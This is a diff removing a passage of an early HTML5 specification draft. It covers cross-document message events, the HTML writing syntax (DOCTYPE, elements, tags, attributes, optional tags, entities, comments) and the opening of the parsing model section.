-   title=dom-CrossDocumentMessageEvent-source><code>source</code></dfn>
-   attribute represents the <code>Document</code> from which the message
-   came.
-
-  <p>The <dfn id=initcrossdocumentmessageevent
-   title=dom-CrossDocumentMessageEvent-initCrossDocumentMessageEvent><code>initCrossDocumentMessageEvent()</code></dfn>
-   and <dfn id=initcrossdocumentmessageeventns
-   title=dom-CrossDocumentMessageEvent-initCrossDocumentMessageEventNS><code>initCrossDocumentMessageEventNS()</code></dfn>
-   methods must initialise the event in a manner analogous to the
-   similarly-named methods in the DOM3 Events interfaces. <a
-   href="#DOM3Events">[DOM3EVENTS]</a>
-
-  <h2 id=syntax><span class=secno>8. </span>The HTML syntax</h2>
-
-  <h3 id=writing><span class=secno>8.1. </span>Writing HTML documents</h3>
-
-  <p><em>This section only applies to documents, authoring tools, and markup
-   generators. In particular, it does not apply to conformance checkers;
-   conformance checkers must use the requirements given in the next section
-   ("parsing HTML documents").</em>
-
-  <p>Documents must consist of the following parts, in the given order:
-
-  <ol>
-   <li>Any number of <a href="#comments0" title=syntax-comments>comments</a>
-    and <a href="#space" title="space character">space characters</a>.
-
-   <li>A <a href="#doctype" title=syntax-doctype>DOCTYPE</a>.
-
-   <li>Any number of <a href="#comments0" title=syntax-comments>comments</a>
-    and <a href="#space" title="space character">space characters</a>.
-
-   <li>The root element, in the form of an <code><a
-    href="#html0">html</a></code> <a href="#elements2"
-    title=syntax-elements>element</a>.
-
-   <li>Any number of <a href="#comments0" title=syntax-comments>comments</a>
-    and <a href="#space" title="space character">space characters</a>.
-  </ol>
-
-  <p>The various types of content mentioned above are described in the next
-   few sections.
-
-  <h4 id=the-doctype><span class=secno>8.1.1. </span>The DOCTYPE</h4>
-
-  <p>A <dfn id=doctype title=syntax-doctype>DOCTYPE</dfn> is a mostly
-   useless, but required, header.
-
-  <p class=note>DOCTYPEs are required for legacy reasons. When omitted,
-   browsers tend to use a different rendering mode that is incompatible with
-   some specifications. Including the DOCTYPE in a document ensures that the
-   browser makes a best-effort attempt at following the relevant
-   specifications.
-
-  <p>A DOCTYPE must consist of the following characters, in this order:
-
-  <ol class=brief>
-   <li>A U+003C LESS-THAN SIGN (<code>AMPERSANDlt;</code>) character.
-
-   <li>A U+0021 EXCLAMATION MARK (<code>!</code>) character.
-
-   <li>A U+0044 LATIN CAPITAL LETTER D or U+0064 LATIN SMALL LETTER D
-    character.
-
-   <li>A U+004F LATIN CAPITAL LETTER O or U+006F LATIN SMALL LETTER O
-    character.
-
-   <li>A U+0043 LATIN CAPITAL LETTER C or U+0063 LATIN SMALL LETTER C
-    character.
-
-   <li>A U+0054 LATIN CAPITAL LETTER T or U+0074 LATIN SMALL LETTER T
-    character.
-
-   <li>A U+0059 LATIN CAPITAL LETTER Y or U+0079 LATIN SMALL LETTER Y
-    character.
-
-   <li>A U+0050 LATIN CAPITAL LETTER P or U+0070 LATIN SMALL LETTER P
-    character.
-
-   <li>A U+0045 LATIN CAPITAL LETTER E or U+0065 LATIN SMALL LETTER E
-    character.
-
-   <li>One or more <a href="#space" title="space character">space
-    characters</a>.
-
-   <li>A U+0048 LATIN CAPITAL LETTER H or U+0068 LATIN SMALL LETTER H
-    character.
-
-   <li>A U+0054 LATIN CAPITAL LETTER T or U+0074 LATIN SMALL LETTER T
-    character.
-
-   <li>A U+004D LATIN CAPITAL LETTER M or U+006D LATIN SMALL LETTER M
-    character.
-
-   <li>A U+004C LATIN CAPITAL LETTER L or U+006C LATIN SMALL LETTER L
-    character.
-
-   <li>Zero or more <a href="#space" title="space character">space
-    characters</a>.
-
-   <li>A U+003E GREATER-THAN SIGN (<code>AMPERSANDgt;</code>) character.
-  </ol>
-
-  <p class=note>In other words, <code>AMPERSANDlt;!DOCTYPE HTML></code>,
-   case-insensitively.
-
-  <h4 id=elements0><span class=secno>8.1.2. </span>Elements</h4>
-
-  <p>There are four different kinds of <dfn id=elements2
-   title=syntax-elements>elements</dfn>: void elements, CDATA elements,
-   RCDATA elements, and normal elements.
-
-  <dl>
-   <dt>Void elements
-
-   <dd><code><a href="#base0">base</a></code>, <code><a
-    href="#link0">link</a></code>, <code><a href="#meta1">meta</a></code>,
-    <code><a href="#hr0">hr</a></code>, <code><a href="#br0">br</a></code>,
-    <code><a href="#img0">img</a></code>, <code><a
-    href="#embed0">embed</a></code>, <code><a
-    href="#param0">param</a></code>, <code><a href="#area0">area</a></code>,
-    <code><a href="#col0">col</a></code>, <code>input</code><!-- XXX add: ,
-   <code>command</code>, <code>event-source</code> --></dd>
-   <!-- XXX
-   keep this synchronised with the list of "permitted slash" elements
-   -->
-
-   <dt>CDATA elements
-
-   <dd><code><a href="#style0">style</a></code>, <code><a
-    href="#script2">script</a></code></dd>
-   <!-- iframe and
-   noscript don't count as CDATA for syntax purposes -->
-
-   <dt>RCDATA elements
-
-   <dd><code><a href="#title3">title</a></code>, <code>textarea</code>
-
-   <dt>Normal elements
-
-   <dd>All other allowed HTML elements are normal elements.
-  </dl>
-
-  <p><dfn id=tags title=syntax-tags>Tags</dfn> are used to delimit the start
-   and end of elements in the markup. CDATA, RCDATA, and normal elements have
-   a <a href="#start2" title=syntax-start-tags>start tag</a> to indicate
-   where they begin, and an <a href="#end-tags0" title=syntax-end-tags>end
-   tag</a> to indicate where they end. The start and end tags of certain
-   normal elements can be <a href="#omitted"
-   title=syntax-tag-omission>omitted</a>, as described later. Those that
-   cannot be omitted must not be omitted. Void elements only have a start
-   tag; end tags must not be specified for void elements.
-
-  <p>The contents of the element must be placed between just after the start
-   tag (which <a href="#omitted" title=syntax-tag-omission>might be implied,
-   in certain cases</a>) and just before the end tag (which again, <a
-   href="#omitted" title=syntax-tag-omission>might be implied in certain
-   cases</a>). The exact allowed contents of each individual element depends
-   on the content model of that element, as described earlier in this
-   specification. Elements must not contain content that their content model
-   disallows. In addition to the restrictions placed on the contents by those
-   content models, however, the four types of elements have additional
-   <em>syntactic</em> requirements.
-
-  <p>Void elements can't have any contents (since there's no end tag, no
-   content can be put between the start tag and the end tag.)
-
-  <p>CDATA elements can have <a href="#text1" title=syntax-text>text</a>, but
-   the text must not contain the two character sequence "<code>AMPERSANDlt;/</code>"
-   (U+003C LESS-THAN SIGN, U+002F SOLIDUS).
-
-  <p>RCDATA elements can have <a href="#text1" title=syntax-text>text</a> and
-   <a href="#character0" title=syntax-entities>character entity
-   references</a>, but the text must not contain the character U+003C
-   LESS-THAN SIGN (<code>AMPERSANDlt;</code>) or the character U+0026 AMPERSAND
-   (<code>AMPERSANDamp;</code>).
-
-  <p>Normal elements can have <a href="#text1" title=syntax-text>text</a>, <a
-   href="#character0" title=syntax-entities>character entity references</a>,
-   other <a href="#elements2" title=syntax-elements>elements</a>, and <a
-   href="#comments0" title=syntax-comments>comments</a>, but the text must
-   not contain the character U+003C LESS-THAN SIGN (<code>AMPERSANDlt;</code>) or the
-   character U+0026 AMPERSAND (<code>AMPERSANDamp;</code>). Some normal elements also
-   have <a href="#have-extra" title=syntax-element-restrictions>yet more
-   restrictions</a> on what content they are allowed to hold, beyond the
-   restrictions imposed by the content model and those described in this
-   paragraph. Those restrictions are described below.
-
-  <p>Tags contain a <dfn id=tag-name title=syntax-tag-name>tag name</dfn>,
-   giving the element's name. HTML elements all have names that only use
-   characters in the range U+0061 LATIN SMALL LETTER A .. U+007A LATIN SMALL
-   LETTER Z, or, in uppercase, U+0041 LATIN CAPITAL LETTER A .. U+005A LATIN
-   CAPITAL LETTER Z, and U+002D HYPHEN-MINUS (<code>-</code>). In the HTML
-   syntax, tag names may be written with any mix of lower- and uppercase
-   letters that, when converted to all-lowercase, matches the element's tag
-   name; tag names are case-insensitive.
-
-  <h5 id=start><span class=secno>8.1.2.1. </span>Start tags</h5>
-
-  <p><dfn id=start2 title=syntax-start-tags>Start tags</dfn> must have the
-   following format:
-
-  <ol>
-   <li>The first character of a start tag must be a U+003C LESS-THAN SIGN
-    (<code>AMPERSANDlt;</code>).
-
-   <li>The next few characters of a start tag must be the element's <a
-    href="#tag-name" title=syntax-tag-name>tag name</a>.
-
-   <li>If there are to be any attributes in the next step, there must first
-    be one or more <a href="#space" title="space character">space
-    characters</a>.
-
-   <li>Then, the start tag may have a number of attributes, the <a
-    href="#attributes1" title=syntax-attributes>syntax for which</a> is
-    described below. Attributes may be separated from each other by one or
-    more <a href="#space" title="space character">space characters</a>.
-
-   <li>After the attributes, there may be one or more <a href="#space"
-    title="space character">space characters</a>. (Some attributes are
-    required to be followed by a space. See the <a href="#attributes1"
-    title=syntax-attributes>attributes section</a> below.)
-
-   <li>Then, if the element is one of the void elements, then there may be a
-    single U+002F SOLIDUS (<code>/</code>) character. This character has no
-    effect except to appease the markup gods. As this character is therefore
-    just a symbol of faith, atheists should omit it.
-
-   <li>Finally, start tags must be closed by a U+003E GREATER-THAN SIGN
-    (<code>AMPERSANDgt;</code>) character.
-  </ol>
-
-  <h5 id=end-tags><span class=secno>8.1.2.2. </span>End tags</h5>
-
-  <p><dfn id=end-tags0 title=syntax-end-tags>End tags</dfn> must have the
-   following format:
-
-  <ol>
-   <li>The first character of an end tag must be a U+003C LESS-THAN SIGN
-    (<code>AMPERSANDlt;</code>).
-
-   <li>The second character of an end tag must be a U+002F SOLIDUS
-    (<code>/</code>).
-
-   <li>The next few characters of an end tag must be the element's <a
-    href="#tag-name" title=syntax-tag-name>tag name</a>.
-
-   <li>After the tag name, there may be one or more <a href="#space"
-    title="space character">space characters</a>.
-
-   <li>Finally, end tags must be closed by a U+003E GREATER-THAN SIGN
-    (<code>AMPERSANDgt;</code>) character.
-  </ol>
-
-  <h5 id=attributes0><span class=secno>8.1.2.3. </span>Attributes</h5>
-
-  <p><dfn id=attributes1 title=syntax-attributes>Attributes</dfn> for an
-   element are expressed inside the element's start tag.
-
-  <p>Attributes have a name and a value. <dfn id=attribute
-   title=syntax-attribute-name>Attribute names</dfn> use characters in the
-   range U+0061 LATIN SMALL LETTER A .. U+007A LATIN SMALL LETTER Z, or, in
-   uppercase, U+0041 LATIN CAPITAL LETTER A .. U+005A LATIN CAPITAL LETTER Z,
-   and U+002D HYPHEN-MINUS (<code>-</code>). In the HTML syntax, attribute
-   names may be written with any mix of lower- and uppercase letters that,
-   when converted to all-lowercase, matches the attribute's name; attribute
-   names are case-insensitive.
-
-  <p><dfn id=attribute0 title=syntax-attribute-value>Attribute values</dfn>
-   are a mixture of <a href="#text1" title=syntax-text>text</a> and <a
-   href="#character0" title=syntax-entities>character entity references</a>,
-   except with the additional restriction that the text cannot contain a
-   U+0026 AMPERSAND (<code>AMPERSANDamp;</code>) character.
-
-  <p>Attributes can be specified in four different ways:
-
-  <dl>
-   <dt>Empty attribute syntax
-
-   <dd>
-    <p>Just the <a href="#attribute" title=syntax-attribute-name>attribute
-     name</a>.</p>
-
-    <div class=example>
-     <p>In the following example, the <code
-      title=attr-input-disabled>disabled</code> attribute is given with the
-      empty attribute syntax:</p>
-
-     <pre>AMPERSANDlt;input <em>disabled</em>AMPERSANDgt;</pre>
-    </div>
-
-    <p>If an attribute using the empty attribute syntax is to be followed by
-     another attribute, then there must be a <a href="#space">space
-     character</a> separating the two.</p>
-
-   <dt>Unquoted attribute value syntax
-
-   <dd>
-    <p>The <a href="#attribute" title=syntax-attribute-name>attribute
-     name</a>, followed by zero or more <a href="#space" title="space
-     character">space characters</a>, followed by a single U+003D EQUALS SIGN
-     character, followed by zero or more <a href="#space" title="space
-     character">space characters</a>, followed by the <a href="#attribute0"
-     title=syntax-attribute-value>attribute value</a>, which, in addition to
-     the requirements given above for attribute values, must not contain any
-     literal <a href="#space" title="space character">space characters</a>,
-     U+003E GREATER-THAN SIGN (<code>AMPERSANDgt;</code>) characters, or U+003C
-     LESS-THAN SIGN (<code>AMPERSANDlt;</code>) characters, and must not,
-     furthermore, start with either a literal U+0022 QUOTATION MARK
-     (<code>AMPERSAND#x22;</code>) character or a literal U+0027 APOSTROPHE
-     (<code>AMPERSAND#x27;</code>) character.</p>
-
-    <div class=example>
-     <p>In the following example, the <code
-      title=attr-input-value>value</code> attribute is given with the
-      unquoted attribute value syntax:</p>
-
-     <pre>AMPERSANDlt;input <em>value=yes</em>AMPERSANDgt;</pre>
-    </div>
-
-    <p>If an attribute using the unquoted attribute syntax is to be followed
-     by another attribute or by one of the optional U+002F SOLIDUS
-     (<code>/</code>) characters allowed in step 6 of the <span
-     title=syntax-start-tag>start tag</span> syntax above, then there must be
-     a <a href="#space">space character</a> separating the two.</p>
-
-   <dt>Single-quoted attribute value syntax
-
-   <dd>
-    <p>The <a href="#attribute" title=syntax-attribute-name>attribute
-     name</a>, followed by zero or more <a href="#space" title="space
-     character">space characters</a>, followed by a single U+003D EQUALS SIGN
-     character, followed by zero or more <a href="#space" title="space
-     character">space characters</a>, followed by a single U+0027 APOSTROPHE
-     (<code>'</code>) character, followed by the <a href="#attribute0"
-     title=syntax-attribute-value>attribute value</a>, which, in addition to
-     the requirements given above for attribute values, must not contain any
-     literal U+0027 APOSTROPHE (<code>'</code>) characters, and finally
-     followed by a second single U+0027 APOSTROPHE (<code>'</code>)
-     character.</p>
-
-    <div class=example>
-     <p>In the following example, the <code title=attr-input-type>type</code>
-      attribute is given with the single-quoted attribute value syntax:</p>
-
-     <pre>AMPERSANDlt;input <em>type='checkbox'</em>AMPERSANDgt;</pre>
-    </div>
-
-   <dt>Double-quoted attribute value syntax
-
-   <dd>
-    <p>The <a href="#attribute" title=syntax-attribute-name>attribute
-     name</a>, followed by zero or more <a href="#space" title="space
-     character">space characters</a>, followed by a single U+003D EQUALS SIGN
-     character, followed by zero or more <a href="#space" title="space
-     character">space characters</a>, followed by a single U+0022 QUOTATION
-     MARK (<code>"</code>) character, followed by the <a href="#attribute0"
-     title=syntax-attribute-value>attribute value</a>, which, in addition to
-     the requirements given above for attribute values, must not contain any
-     literal U+0022 QUOTATION MARK (<code>"</code>) characters, and finally
-     followed by a second single U+0022 QUOTATION MARK (<code>"</code>)
-     character.</p>
-
-    <div class=example>
-     <p>In the following example, the <code title=attr-input-name>name</code>
-      attribute is given with the double-quoted attribute value syntax:</p>
-
-     <pre>AMPERSANDlt;input <em>name="be evil"</em>AMPERSANDgt;</pre>
-    </div>
-  </dl>
-
-  <h5 id=optional><span class=secno>8.1.2.4. </span>Optional tags</h5>
-
-  <p>Certain tags can be <dfn id=omitted
-   title=syntax-tag-omission>omitted</dfn>.</p>
-  <!-- <html> -->
-
-  <p>An <code><a href="#html0">html</a></code> element's <span
-   title=syntax-start-tag>start tag</span> may be omitted if the first thing
-   inside the <code><a href="#html0">html</a></code> element is not a <a
-   href="#space">space character</a> or a <a href="#comments0"
-   title=syntax-comments>comment</a>.</p>
-  <!-- </html> -->
-
-  <p>An <code><a href="#html0">html</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#html0">html</a></code> element is not immediately followed by a <a
-   href="#space">space character</a> or a <a href="#comments0"
-   title=syntax-comments>comment</a>.</p>
-  <!-- <head> -->
-
-  <p>A <code><a href="#head0">head</a></code> element's <span
-   title=syntax-start-tag>start tag</span> may be omitted if the first thing
-   inside the <code><a href="#head0">head</a></code> element is an element.</p>
-  <!-- </head> -->
-
-  <p>A <code><a href="#head0">head</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#head0">head</a></code> element is not immediately followed by a <a
-   href="#space">space character</a> or a <a href="#comments0"
-   title=syntax-comments>comment</a>.</p>
-  <!-- <body> -->
-
-  <p>A <code><a href="#body1">body</a></code> element's <span
-   title=syntax-start-tag>start tag</span> may be omitted if the first thing
-   inside the <code><a href="#body1">body</a></code> element is not a <a
-   href="#space">space character</a> or a <a href="#comments0"
-   title=syntax-comments>comment</a>.</p>
-  <!-- </body> -->
-
-  <p>A <code><a href="#body1">body</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#body1">body</a></code> element is not immediately followed by a <a
-   href="#space">space character</a> or a <a href="#comments0"
-   title=syntax-comments>comment</a>. <!-- </li> -->
-
-  <p>A <code><a href="#li0">li</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#li0">li</a></code> element is immediately followed by another
-   <code><a href="#li0">li</a></code> element or if there is no more content
-   in the parent element.</p>
-  <!-- </dt> -->
-
-  <p>A <code><a href="#dt0">dt</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#dt0">dt</a></code> element is immediately followed by another
-   <code><a href="#dt0">dt</a></code> element or a <code><a
-   href="#dd0">dd</a></code> element.</p>
-  <!-- </dd> -->
-
-  <p>A <code><a href="#dd0">dd</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#dd0">dd</a></code> element is immediately followed by another
-   <code><a href="#dd0">dd</a></code> element or a <code><a
-   href="#dt0">dt</a></code> element, or if there is no more content in the
-   parent element.</p>
-  <!-- </p> -->
-
-  <p>A <code><a href="#p0">p</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#p0">p</a></code> element is immediately followed by an <code><a
-   href="#address0">address</a></code>, <code><a
-   href="#blockquote0">blockquote</a></code>, <code><a
-   href="#dl0">dl</a></code>, <code>fieldset</code>, <code>form</code>,
-   <code><a href="#h10">h1</a></code>, <code><a href="#h20">h2</a></code>,
-   <code><a href="#h30">h3</a></code>, <code><a href="#h40">h4</a></code>,
-   <code><a href="#h50">h5</a></code>, <code><a href="#h60">h6</a></code>,
-   <code><a href="#hr0">hr</a></code>, <code><a
-   href="#menu0">menu</a></code>, <code><a href="#ol0">ol</a></code>,
-   <code><a href="#p0">p</a></code>, <code><a href="#pre0">pre</a></code>,
-   <code><a href="#table0">table</a></code>, or <code><a
-   href="#ul0">ul</a></code> element, or if there is no more content in the
-   parent element.</p>
-  <!-- </optgroup> -->
-
-  <p>An <code>optgroup</code> element's <span title=syntax-end-tag>end
-   tag</span> may be omitted if the <code>optgroup</code> element is
-   immediately followed by another <code>optgroup</code> element, or if there
-   is no more content in the parent element.</p>
-  <!-- </option> -->
-
-  <p>An <code>option</code> element's <span title=syntax-end-tag>end
-   tag</span> may be omitted if the <code>option</code> element is
-   immediately followed by another <code>option</code> element, or if there
-   is no more content in the parent element.</p>
-  <!-- <colgroup> -->
-
-  <p>A <code><a href="#colgroup0">colgroup</a></code> element's <span
-   title=syntax-start-tag>start tag</span> may be omitted if the first thing
-   inside the <code><a href="#colgroup0">colgroup</a></code> element is a
-   <code><a href="#col0">col</a></code> element, and if the element is not
-   immediately preceeded by another <code><a
-   href="#colgroup0">colgroup</a></code> element whose <span
-   title=syntax-end-tag>end tag</span> has been omitted.</p>
-  <!-- </colgroup> -->
-
-  <p>A <code><a href="#colgroup0">colgroup</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#colgroup0">colgroup</a></code> element is not immediately followed
-   by a <a href="#space">space character</a> or a <a href="#comments0"
-   title=syntax-comments>comment</a>.</p>
-  <!-- </thead> -->
-
-  <p>A <code><a href="#thead1">thead</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#thead1">thead</a></code> element is immediately followed by a
-   <code><a href="#tbody0">tbody</a></code> or <code><a
-   href="#tfoot1">tfoot</a></code> element.</p>
-  <!-- <tbody> -->
-
-  <p>A <code><a href="#tbody0">tbody</a></code> element's <span
-   title=syntax-start-tag>start tag</span> may be omitted if the first thing
-   inside the <code><a href="#tbody0">tbody</a></code> element is a <code><a
-   href="#tr0">tr</a></code> element, and if the element is not immediately
-   preceeded by a <code><a href="#tbody0">tbody</a></code>, <code><a
-   href="#thead1">thead</a></code>, or <code><a
-   href="#tfoot1">tfoot</a></code> element whose <span
-   title=syntax-end-tag>end tag</span> has been omitted.</p>
-  <!-- </tbody> -->
-
-  <p>A <code><a href="#tbody0">tbody</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#tbody0">tbody</a></code> element is immediately followed by a
-   <code><a href="#tbody0">tbody</a></code> or <code><a
-   href="#tfoot1">tfoot</a></code> element, or if there is no more content in
-   the parent element.</p>
-  <!-- </tfoot> -->
-
-  <p>A <code><a href="#tfoot1">tfoot</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#tfoot1">tfoot</a></code> element is immediately followed by a
-   <code><a href="#tbody0">tbody</a></code> element, or if there is no more
-   content in the parent element.</p>
-  <!-- </tr> -->
-
-  <p>A <code><a href="#tr0">tr</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#tr0">tr</a></code> element is immediately followed by another
-   <code><a href="#tr0">tr</a></code> element, or if there is no more content
-   in the parent element.</p>
-  <!-- </td> -->
-
-  <p>A <code><a href="#td0">td</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#td0">td</a></code> element is immediately followed by a <code><a
-   href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element,
-   or if there is no more content in the parent element.</p>
-  <!-- </th> -->
-
-  <p>A <code><a href="#th0">th</a></code> element's <span
-   title=syntax-end-tag>end tag</span> may be omitted if the <code><a
-   href="#th0">th</a></code> element is immediately followed by a <code><a
-   href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element,
-   or if there is no more content in the parent element.
-
-  <p><strong>However</strong>, a <span title=syntax-start-tag>start
-   tag</span> must never be omitted if it has any attributes.
-
-  <h5 id=restrictions><span class=secno>8.1.2.5. </span>Restrictions on
-   content models</h5>
-
-  <p>For historical reasons, certain elements <dfn id=have-extra
-   title=syntax-element-restrictions>have extra restrictions</dfn> beyond
-   even the restrictions given by their content model.
-
-  <p>A <code><a href="#p0">p</a></code> element must not contain <code><a
-   href="#blockquote0">blockquote</a></code>, <code><a
-   href="#dl0">dl</a></code>, <code><a href="#menu0">menu</a></code>,
-   <code><a href="#ol0">ol</a></code>, <code><a href="#pre0">pre</a></code>,
-   <code><a href="#table0">table</a></code>, or <code><a
-   href="#ul0">ul</a></code> elements, even though these elements are
-   technically allowed inside <code><a href="#p0">p</a></code> elements
-   according to the content models described in this specification. (In fact,
-   if one of those elements is put inside a <code><a href="#p0">p</a></code>
-   element in the markup, it will instead imply a <code><a
-   href="#p0">p</a></code> element end tag before it.)
-
-  <p>An <code>optgroup</code> element must not contain <code>optgroup</code>
-   elements, even though these elements are technically allowed to be nested
-   according to the content models described in this specification. (If an
-   <code>optgroup</code> element is put inside another in the markup, it will
-   in fact imply an <code>optgroup</code> end tag before it.)
-
-  <p>A <code><a href="#table0">table</a></code> element must not contain
-   <code><a href="#tr0">tr</a></code> elements, even though these elements
-   are technically allowed inside <code><a href="#table0">table</a></code>
-   elements according to the content models described in this specification.
-   (If a <code><a href="#tr0">tr</a></code> element is put inside a <code><a
-   href="#table0">table</a></code> in the markup, it will in fact imply a
-   <code><a href="#tbody0">tbody</a></code> start tag before it.)
-
-  <h4 id=text><span class=secno>8.1.3. </span>Text</h4>
-
-  <p><dfn id=text1 title=syntax-text>Text</dfn> is allowed inside elements,
-   attributes, and comments. Text must consist of valid Unicode characters
-   other than U+0000. Text should not contain control characters other than
-   <a href="#space" title="space character">space characters</a>. Extra
-   constraints are placed on what is and what is not allowed in text based on
-   where the text is to be put, as described in the other sections.
-
-  <h5 id=newlines><span class=secno>8.1.3.1. </span>Newlines</h5>
-
-  <p><dfn id=newlines0 title=syntax-newlines>Newlines</dfn> in HTML may be
-   represented either as U+000D CARRIAGE RETURN (CR) characters, U+000A LINE
-   FEED (LF) characters, or pairs of U+000D CARRIAGE RETURN (CR), U+000A LINE
-   FEED (LF) characters in that order.
-
-  <h4 id=character><span class=secno>8.1.4. </span>Character entity
-   references</h4>
-
-  <p>In certain cases described in other sections, <a href="#text1"
-   title=syntax-text>text</a> may be mixed with <dfn id=character0
-   title=syntax-entities>character entity references</dfn>. These can be used
-   to escape characters that couldn't otherwise legally be included in <a
-   href="#text1" title=syntax-text>text</a>.
-
-  <p>Character entity references must start with a U+0026 AMPERSAND
-   (<code>AMPERSANDamp;</code>). Following this, there are three possible kinds of
-   character entity references:
-
-  <dl>
-   <dt>Named entities
-
-   <dd>The ampersand must be followed by one of the names given in the <a
-    href="#entities1">entities</a> section, using the same case. Finally,
-    after the name, the entity must be terminated by a U+003B SEMICOLON
-    character (<code>;</code>).
-
-   <dt>Decimal numeric entities
-
-   <dd>The ampersand must be followed by a U+0023 NUMBER SIGN
-    (<code>#</code>) character, followed by one or more digits in the range
-    U+0030 DIGIT ZERO .. U+0039 DIGIT NINE, representing a base-ten integer
-    that itself is a valid Unicode code point that isn't U+0000. The digits
-    must then be followed by a U+003B SEMICOLON character (<code>;</code>).
-
-   <dt>Hexadecimal numeric entities
-
-   <dd>The ampersand must be followed by a U+0023 NUMBER SIGN
-    (<code>#</code>) character, which must be followed by either a U+0078
-    LATIN SMALL LETTER X or a U+0058 LATIN CAPITAL LETTER X character, which
-    must then be followed by one or more digits in the range U+0030 DIGIT
-    ZERO .. U+0039 DIGIT NINE, U+0061 LATIN SMALL LETTER A .. U+0066 LATIN
-    SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER A .. U+0046 LATIN CAPITAL
-    LETTER F, representing a base-sixteen integer that itself is a valid
-    Unicode code point that isn't U+0000. The digits must then be followed by
-    a U+003B SEMICOLON character (<code>;</code>).
-  </dl>
-
-  <h4 id=comments><span class=secno>8.1.5. </span>Comments</h4>
-
-  <p><dfn id=comments0 title=syntax-comments>Comments</dfn> must start with
-   the four character sequence U+003C LESS-THAN SIGN, U+0021 EXCLAMATION
-   MARK, U+002D HYPHEN-MINUS, U+002D HYPHEN-MINUS (<code>AMPERSANDlt;!--</code>).
-   Following this sequence, the comment may have <a href="#text1"
-   title=syntax-text>text</a>, with the additional restriction that the text
-   must not contain two consecutive U+002D HYPHEN-MINUS (<code>-</code>)
-   characters, nor end with a U+002D HYPHEN-MINUS (<code>-</code>) character.
-   Finally, the comment must be ended by the three character sequence U+002D
-   HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN
-   (<code>--AMPERSANDgt;</code>).
-
-  <h3 id=parsing><span class=secno>8.2. </span>Parsing HTML documents</h3>
-
-  <p><em>This section only applies to user agents, data mining tools, and
-   conformance checkers.</em>
-
-  <p>The rules for parsing <a href="#xml-documents">XML documents</a> (and
-   thus <a href="#xhtml5">XHTML</a> documents) into DOM trees are covered by
-   the XML and Namespaces in XML specifications, and are out of scope of this
-   specification. <a href="#refs"></a> <!-- XXX refs -->
-
-  <p>For <a href="#html-">HTML documents</a>, user agents must use the
-   parsing rules described in this section to generate the DOM trees.
-   Together, these rules define what is referred to as the <dfn
-   id=html-0>HTML parser</dfn>.</p>
-  <!-- XXX should probably remove that "must" since
-  it'll be redundant with something in the navigating processing model
-  eventually -->
-
-  <div class=note>
-   <p>While the HTML form of HTML5 bears a close resemblance to SGML and XML,
-    it is a separate language with its own parsing rules.</p>
-
-   <p>Some earlier versions of HTML (in particular from HTML2 to HTML4) were
-    based on SGML and used SGML parsing rules. However, few (if any) web
-    browsers ever implemented true SGML parsing for HTML documents; the only
-    user agents to strictly handle HTML as an SGML application have
-    historically been validators. The resulting confusion AMPERSANDmdash; with
-    validators claiming documents to have one representation while widely
-    deployed Web browsers interoperably implemented a different
-    representation AMPERSANDmdash; has resulted in this version of HTML returning to
-    a non-SGML basis.</p>
-
-   <p>Authors interested in using SGML tools in their authoring pipeline are
-    encouraged to use the XML serialisation of HTML5 instead of the HTML
-    serialisation.</p>
-  </div>
-
-  <p>This specification defines the parsing rules for HTML documents, whether
-   they are syntactically valid or not. Certain points in the parsing
-   algorithm are said to be <dfn id=parse title="parse error">parse
-   errors</dfn>. The error handling for parse errors is well-defined: user
-   agents must either act as described below when encountering such problems,
-   or must abort processing at the first error that they encounter for which
-   they do not wish to apply the rules described below.
-
-  <p>Conformance checkers must report at least one parse error condition to
-   the user if one or more parse error conditions exist in the document and
-   must not report parse error conditions if none exist in the document.
-   Conformance checkers may report more than one parse error condition if
-   more than one parse error conditions exist in the document. Conformance
-   checkers are not required to recover from parse errors.
-
-  <p class=note>Parse errors are only errors with the <em>syntax</em> of
-   HTML. In addition to checking for parse errors, conformance checkers will
-   also verify that the document obeys all the other conformance requirements
-   described in this specification.
-
-  <h4 id=overview><span class=secno>8.2.1. </span>Overview of the parsing
-   model</h4>
-
-  <p>The input to the HTML parsing process consists of a stream of Unicode
-   characters, which is passed through a <a
-   href="#tokenisation1">tokenisation</a> stage (lexical analysis) followed
-   by a <a href="#tree-construction1">tree construction</a> stage (semantic
-   analysis). The output is a <code>Document</code> object.
-
-  <p class=note>Implementations that <a href="#non-scripted">do not support
-   scripting</a> do not have to actually create a DOM <code>Document</code>
-   object, but the DOM tree in such cases is still used as the model for the
-   rest of the specification.
-
-  <p>In the common case, the data handled by the tokenisation stage comes
-   from the network, but <a href="#dynamic3" title="dynamic markup
-   insertion">it can also come from script</a>, e.g. using the <code
-   title=dom-document-write-HTML><a
-   href="#document.write0">document.write()</a></code> API.
-
-  <p><img alt="" src=parsing-model-overview.png>
-
-  <p id=nestedParsing>There is only one set of state for the tokeniser stage
-   and the tree construction stage, but the tree construction stage is
-   reentrant, meaning that while the tree construction stage is handling one
-   token, the tokeniser might be resumed, causing further tokens to be
-   emitted and processed before the first token's processing is complete.
-
-  <div class=example>
-   <p>In the following example, the tree construction stage will be called
-    upon to handle a "p" start tag token while handling the "script" start
-    tag token:</p>
-
-   <pre>...
-AMPERSANDlt;script>
- document.write('AMPERSANDlt;p>');
-AMPERSANDlt;/script>
-...</pre>
-  </div>
-
-  <h4 id=the-input0><span class=secno>8.2.2. </span>The <dfn id=input0>input
-   stream</dfn></h4>
-
